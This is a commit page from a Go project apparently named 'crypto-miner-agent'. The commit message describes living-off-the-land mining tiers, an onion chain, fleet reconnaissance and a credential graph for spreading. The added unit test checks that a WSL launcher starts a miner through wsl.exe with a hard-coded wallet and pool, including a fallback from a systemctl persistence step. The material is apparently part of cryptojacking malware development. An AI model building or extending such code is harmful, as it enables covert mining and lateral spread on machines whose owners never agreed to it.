Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
64
agent/miner/wsl_launcher_test.go
Normal file
64
agent/miner/wsl_launcher_test.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestWSLLauncherStartUsesWslExe(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("WSL launcher tests require windows")
|
||||
}
|
||||
|
||||
var gotCLI string
|
||||
var gotArgs []string
|
||||
SetWSLExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
gotCLI = name
|
||||
gotArgs = append([]string(nil), args...)
|
||||
if len(args) >= 4 && args[3] == "systemctl" {
|
||||
return exec.Command("cmd", "/c", "exit 1")
|
||||
}
|
||||
return exec.Command("ping", "-n", "2", "127.0.0.1")
|
||||
})
|
||||
defer SetWSLExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3",
|
||||
WorkerName: "wsl-worker",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
},
|
||||
}
|
||||
wslRT := WSLRuntimeInfo{Available: true, CLI: "wsl.exe", Distros: []string{"Ubuntu"}}
|
||||
|
||||
launcher, err := NewWSLLauncher(cfg, wslRT)
|
||||
if err != nil {
|
||||
t.Fatalf("NewWSLLauncher: %v", err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
if gotCLI != "wsl.exe" {
|
||||
t.Fatalf("CLI=%q want wsl.exe", gotCLI)
|
||||
}
|
||||
if !strings.Contains(strings.Join(gotArgs, " "), "AETHERFORGE_WALLET=") {
|
||||
t.Fatalf("expected wallet env in wsl command, args=%v", gotArgs)
|
||||
}
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after Start")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewWSLLauncherUnavailable(t *testing.T) {
|
||||
_, err := NewWSLLauncher(config.RuntimeConfig{}, WSLRuntimeInfo{})
|
||||
if err == nil {
|
||||
t.Fatal("expected error without WSL")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user